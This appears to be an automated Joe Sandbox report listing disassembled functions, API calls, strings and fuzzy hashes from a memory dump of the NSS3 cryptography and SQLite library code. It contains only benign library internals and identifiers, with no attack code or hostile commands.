Instruction ID: cf6c6f05aa8c774a796a2c217d6cb300934bbc3b6fd5dd2343bc35663dd02f51
Opcode Fuzzy Hash: 82d32b778d419664eb344b7cbc8c9486144cf9f2b84814d2380c7fb90b908e52
Instruction Fuzzy Hash: 8EF1BE71E00209CBDB04CF56D8507AEB7B2FF85318F254129D815ABB81EB75E981CF96

Function 6C5F4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C740148,?,6C606FEC), ref: 6C5F502A
PR_NewLock.NSS3(00000001,00000000,6C740148,?,6C606FEC), ref: 6C5F5034
PL_NewHashTable.NSS3(00000000,6C64FE80,6C64FD30,6C69C350,00000000,00000000,00000001,00000000,6C740148,?,6C606FEC), ref: 6C5F5055
PL_NewHashTable.NSS3(00000000,6C64FE80,6C64FD30,6C69C350,00000000,00000000,?,00000001,00000000,6C740148,?,6C606FEC), ref: 6C5F506D

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 86dbbdda9256fb4140024a70632e5bac794c35de4b74946805bcf86981c6de74
Instruction ID: 6188e220fe5eab492f0c7dd4be536dd69732e71ef3c06f2a22a58db47a90f583
Opcode Fuzzy Hash: 86dbbdda9256fb4140024a70632e5bac794c35de4b74946805bcf86981c6de74
Instruction Fuzzy Hash: E931E5B2B022109BEB149E658C4CB473BBCAB1339CFE1C535EA2597640EB749845CFE5

Function 6C592E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C592F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C592FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C593005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5930EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C593131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C593178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C593022, 6C593156, 6C593162, 6C59318A, 6C593196, 6C5931A2, 6C5931AE, 6C5931BA, 6C5931C6
%s at line %d of [%.10s], xrefs: 6C593171
database corruption, xrefs: 6C59316C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: a8ac80bd0d0594cef46a036b6de87b52fd4f1a4a3e6a9eb6c3378a95393a5c2f
Instruction ID: ce6a7d58e1b3e6d44fc88d5d19e14f4754ce4a21ddbb532730b9399c9af3967b
Opcode Fuzzy Hash: a8ac80bd0d0594cef46a036b6de87b52fd4f1a4a3e6a9eb6c3378a95393a5c2f
Instruction Fuzzy Hash: 68B1B0B0E05269DBCB08CF9DCD85AEEB7B1BF48304F1444A9E849B7B41D3759941CBA0

Function 6C5E2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C5E2D69

Strings

@pl, xrefs: 6C5E2E24
pl, xrefs: 6C5E2DD0
winUnmapfile2, xrefs: 6C5E2F7F
winUnmapfile1, xrefs: 6C5E2F55
winSeekFile, xrefs: 6C5E2E9C
Ppl, xrefs: 6C5E2E74, 6C5E2EC5, 6C5E2F32, 6C5E2F5C
winTruncate2, xrefs: 6C5E2EF8
winTruncate1, xrefs: 6C5E2EBE

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: __allrem
String ID: @pl$Ppl$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$pl
API String ID: 2933888876-2417264566
Opcode ID: 20e0c394bf94426e9cda2c0fcd58d1575f760c1914acb1cc0d8c6fd1751a588d
Instruction ID: 7b091b6357be08fa6d404c95f515091ea0571ce5a5e58cd54032aa79b53cfdb5
Opcode Fuzzy Hash: 20e0c394bf94426e9cda2c0fcd58d1575f760c1914acb1cc0d8c6fd1751a588d
Instruction Fuzzy Hash: 7E618171B002159FDB04DF68DC88A6A77B1FF4D324F208639E9199B790EB31AD16CB91

Function 6C60FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C60FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C60FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C60FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C60FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C60FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C60FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C60FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C60FD84

Strings

:, xrefs: 6C60FD78

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 7c3c7241e3402526fe2430e20c17bd41831b0b12ebaa034a6f0bcdb82c9d30c1
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 4431CFB2A402199BEB048AA4DE097AFB7E8EF51318F150024DC14A7B40E772E918C7DE

Function 6C5F0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C5F0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C5F0F84

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C60F59B,6C71890C,?), ref: 6C5F0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C5F0FC1

Part of subcall function 6C650BE0: malloc.MOZGLUE(6C648D2D,?,00000000,?), ref: 6C650BF8
Part of subcall function 6C650BE0: TlsGetValue.KERNEL32(6C648D2D,?,00000000,?), ref: 6C650C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6C5F0FDB
PR_CallOnce.NSS3(6C752AA4,6C6512D0), ref: 6C5F0FEF
PL_FreeArenaPool.NSS3(?), ref: 6C5F1001
PL_FinishArenaPool.NSS3(?), ref: 6C5F1009

Strings

security, xrefs: 6C5F0F5C

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: 03d808a48eb530c6162367d2ef47a4a8ec7168d0c10ebdf4f29063e4df01d6e9
Instruction ID: 15ef74a3086ce5cd34b16d1a5e5cbe0bb164c3e75e3d30602e1127892fdc7b88
Opcode Fuzzy Hash: 03d808a48eb530c6162367d2ef47a4a8ec7168d0c10ebdf4f29063e4df01d6e9
Instruction Fuzzy Hash: A821F5B1904204ABEB009F24DD40EAFB7B8EF8565CF148519FC2897701FB31D956CB96

Function 6C5F6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C5F7D8F,6C5F7D8F,?,?), ref: 6C5F6DC8

Part of subcall function 6C64FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C64FE08
Part of subcall function 6C64FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C64FE1D
Part of subcall function 6C64FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C64FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C5F7D8F,?,?), ref: 6C5F6DD5

Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C6510F3
Part of subcall function 6C6510C0: EnterCriticalSection.KERNEL32(?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65110C
Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651141
Part of subcall function 6C6510C0: PR_Unlock.NSS3(?,?,?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C651182
Part of subcall function 6C6510C0: TlsGetValue.KERNEL32(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C718FA0,00000000,?,?,?,?,6C5F7D8F,?,?), ref: 6C5F6DF7

Part of subcall function 6C64B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7218D0,?), ref: 6C64B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C5F6E35

Part of subcall function 6C64FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C64FE29
Part of subcall function 6C64FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C64FE3D
Part of subcall function 6C64FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C64FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C5F6E4C

Part of subcall function 6C6510C0: PL_ArenaAllocate.NSS3(?,6C5F8802,00000000,00000008,?,6C5EEF74,00000000), ref: 6C65116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C718FE0,00000000), ref: 6C5F6E82

Part of subcall function 6C5F6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C5FB21D,00000000,00000000,6C5FB219,?,6C5F6BFB,00000000,?,00000000,00000000,?,?,?,6C5FB21D), ref: 6C5F6B01
Part of subcall function 6C5F6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C5F6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C5F6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C5F6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C718FE0,00000000), ref: 6C5F6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C5F7D8F,?,?), ref: 6C5F6FE1

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 8e4d6fffe9c0eeb4f6e11502f7b5bdb76aae59e3797de9155dd22ac8548a3cc0
Instruction ID: 662be885aef98ec37d6a830438b9254f777fc947abd7f1962debff7f90162e82
Opcode Fuzzy Hash: 8e4d6fffe9c0eeb4f6e11502f7b5bdb76aae59e3797de9155dd22ac8548a3cc0
Instruction Fuzzy Hash: 6B71A071D107469BEB04CF15CD40BAABBA8BF95348F154229E818D7B11FB30EA95CF94

Function 6C630FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C631057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C631085
PK11_GetAllTokens.NSS3 ref: 6C6310B1
free.MOZGLUE(?), ref: 6C631107
PR_SetError.NSS3(00000000,00000000), ref: 6C631172
free.MOZGLUE(?), ref: 6C631182
free.MOZGLUE(?), ref: 6C6311A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6311C5

Part of subcall function 6C6352C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C60EAC5,00000001), ref: 6C6352DF
Part of subcall function 6C6352C0: EnterCriticalSection.KERNEL32(?), ref: 6C6352F3
Part of subcall function 6C6352C0: PR_Unlock.NSS3(?), ref: 6C635358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6311D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6311F3

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 97fc27a3a4cd5e8007460dc5970a8551c8208ac16d22528758f0f60dcb408a64
Instruction ID: 3e3b070adb6758eee899107eb1683ed33968c7dbc9983229369ca27d29a17724
Opcode Fuzzy Hash: 97fc27a3a4cd5e8007460dc5970a8551c8208ac16d22528758f0f60dcb408a64
Instruction Fuzzy Hash: BB61A2B0E003559BEB00DF64DC81BAAB7B4BF05348F146129EC1DAB741EB31E954CB99

Function 6C63ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE10
EnterCriticalSection.KERNEL32(?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C61D079,00000000,00000001), ref: 6C63AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AE7F
TlsGetValue.KERNEL32(?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AEF1
free.MOZGLUE(6C61CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C61CDBB,?), ref: 6C63AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C61CDBB,?,6C61D079,00000000,00000001), ref: 6C63AF30

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 0716baab0acf82188a15c113b6a0bff21d98a4ef2041d732392ec05e7411b724
Instruction ID: 0ab122314511cac8eda0f4fa1a3449a7cd3b2427143b1af95d20ed4694fe6c14
Opcode Fuzzy Hash: 0716baab0acf82188a15c113b6a0bff21d98a4ef2041d732392ec05e7411b724
Instruction Fuzzy Hash: A551DDB1A00612AFDF00DF65C884B56B7B4FF09319F046669E80C87E52E731E868EBD5

Function 6C614CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C61AB7F,?,00000000,?), ref: 6C614CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C61AB7F,?,00000000,?), ref: 6C614CC8
TlsGetValue.KERNEL32(?,6C61AB7F,?,00000000,?), ref: 6C614CE0
EnterCriticalSection.KERNEL32(?,?,6C61AB7F,?,00000000,?), ref: 6C614CF4
PL_HashTableLookup.NSS3(?,?,?,6C61AB7F,?,00000000,?), ref: 6C614D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C614D10

Part of subcall function 6C69DD70: TlsGetValue.KERNEL32 ref: 6C69DD8C
Part of subcall function 6C69DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C69DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C614D26

Part of subcall function 6C6B9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DC6
Part of subcall function 6C6B9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C700A27), ref: 6C6B9DD1
Part of subcall function 6C6B9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C614D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C614DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C614E02

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: dd0476796457e1479316af93a7ccd215689346cca41ab267d2d9b2c7797f3a8c
Instruction ID: e99f664e2c7bc401a00298244a5280262a994971be95e51c669c14fa01627795
Opcode Fuzzy Hash: dd0476796457e1479316af93a7ccd215689346cca41ab267d2d9b2c7797f3a8c
Instruction Fuzzy Hash: 1D4194B5E04205ABEB01AF28EC4096677F9AF0635EF044171EC0897B12EF71D919C7DA

Function 6C5F2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C5F2CDA,?,00000000), ref: 6C5F2E1E

Part of subcall function 6C64FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C5F9003,?), ref: 6C64FD91
Part of subcall function 6C64FD80: PORT_Alloc_Util.NSS3(A4686C65,?), ref: 6C64FDA2
Part of subcall function 6C64FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C65,?,?), ref: 6C64FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C5F2E33

Part of subcall function 6C64FD80: free.MOZGLUE(00000000,?,?), ref: 6C64FDD1

TlsGetValue.KERNEL32 ref: 6C5F2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C5F2E5E
PL_HashTableLookup.NSS3(?), ref: 6C5F2E71
PL_HashTableRemove.NSS3(?), ref: 6C5F2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C5F2E96
PR_Unlock.NSS3 ref: 6C5F2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C5F2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C5F2EC5

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: cfea3664606b418df073cec5b0e93f421f30f0cd481a9f9361e51e3d9d389237
Instruction ID: 2d9d0b460e1d65f677958668cee85ff1c9fc77eb8908bf7f7710655e21843a22
Opcode Fuzzy Hash: cfea3664606b418df073cec5b0e93f421f30f0cd481a9f9361e51e3d9d389237
Instruction Fuzzy Hash: A92129B2E00101A7EF006B64DC49AAB3A79DB9235DF544431EE2C86711FF32C55ADAA2

Function 6C5DFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C5DFD18
sqlite3_initialize.NSS3 ref: 6C5DFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5DFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C5DFD99
sqlite3_free.NSS3(00000000), ref: 6C5DFE3C
sqlite3_free.NSS3(?), ref: 6C5DFEE3
sqlite3_free.NSS3(?), ref: 6C5DFEEE

Strings

simple, xrefs: 6C5DFC79

Memory Dump Source

Source File: 00000000.00000002.2582766197.000000006C571000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2582684771.000000006C570000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583250436.000000006C70F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583366835.000000006C74E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583452864.000000006C74F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583512576.000000006C750000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2583574169.000000006C755000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: a8af37e34192d297330c9a2973f3d7bce5a228873f3e14c0aadcd99e7b75ee79
Instruction ID: e9c959660385fa342383d5b646308b1266a11a496a2e55c75714ec04eaca880b
Opcode Fuzzy Hash: a8af37e34192d297330c9a2973f3d7bce5a228873f3e14c0aadcd99e7b75ee79
Instruction Fuzzy Hash: 029160B0A013069FDB04CF59CC80A6AB7B1FF85318F26C669D8199B752E731E951CB64

Function 6C5E5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C5E5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5E5EED

Strings

API call with %s database connection pointer, xrefs: 6C5E5EC3
invalid, xrefs: 6C5E5EBE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5E5ED1
misuse, xrefs: 6C5E5EDB
%s at line %d of [%.10s], xrefs: 6C5E5EE0
